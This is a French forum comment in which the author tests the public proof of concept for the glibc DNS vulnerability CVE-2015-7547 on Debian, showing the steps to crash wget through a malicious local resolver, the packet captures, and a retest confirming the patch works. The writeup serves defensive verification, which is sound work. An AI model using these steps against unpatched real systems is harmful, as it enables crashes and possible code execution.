• # Test de l'exploitation

    Posté par (site web personnel, Mastodon) . En réponse au journal Faille de sécurité dans la GNU libc avec les requêtes DNS. Évalué à 10.

    Voici ce que donne l'exploitation "officielle" https://github.com/fjserna/CVE-2015-7547 sur une Debian "sid" (alias "unstable").

    On git clone le code et on lance le serveur DNS méchant (il faut être root car il écoute sur le port privilégié 53) :

    % sudo python CVE-2015-7547-poc.py

    On modifie le /etc/resolv.conf pour utiliser ce résolveur DNS ("nameserver 127.0.0.1"). On teste :

    % wget http://rue89.com/
    --2016年02月17日 15:59:53-- http://rue89.com/
    Resolving rue89.com (rue89.com)... zsh: segmentation fault wget http://rue89.com/
    Patatras, on a bien la bogue :-( Le serveur affiche :

    [UDP] Total Data len recv 27
    [UDP] Total Data len recv 27
    Connected with 127.0.0.1:60873
    [TCP] Total Data len recv 58
    [TCP] Request1 len recv 27
    [TCP] Request2 len recv 27
    Et, vu avec tcpdump, cela donne (notez la taille de la réponse UDP, 2569 octets...) :

    16:49:27.565275 00:00:00:00:00:00 > 00:00:00:00:00:00, ethertype IPv4 (0x0800), length 69: 127.0.0.1.40012 > 127.0.0.1.53: 50702+ A? rue89.com. (27)
    16:49:27.565306 00:00:00:00:00:00 > 00:00:00:00:00:00, ethertype IPv4 (0x0800), length 69: 127.0.0.1.40012 > 127.0.0.1.53: 1856+ AAAA? rue89.com. (27)
    16:49:27.575962 00:00:00:00:00:00 > 00:00:00:00:00:00, ethertype IPv4 (0x0800), length 2569: 127.0.0.1.53 > 127.0.0.1.40012: 1856| 0/0/0 (2527)
    16:49:27.576263 00:00:00:00:00:00 > 00:00:00:00:00:00, ethertype IPv4 (0x0800), length 74: 127.0.0.1.45586 > 127.0.0.1.53: Flags [S], seq 1826763891, win 43690, options [mss 65495,sackOK,TS val 1657736187 ecr 0,nop,wscale 7], length 0
    Maintenant, on patche (remettre un résolveur qui marche, puis "aptitude update && aptitude dist-upgrade" puis remettre le résolveur méchant dans resolv.conf). Et on réeessaie :

    % wget http://rue89.com/
    --2016年02月17日 18:12:27-- http://rue89.com/
    Resolving rue89.com (rue89.com)... failed: Name or service not known.
    wget: unable to resolve host address ‘rue89.com’
    C'est parfait, on n'est plus vulnérable.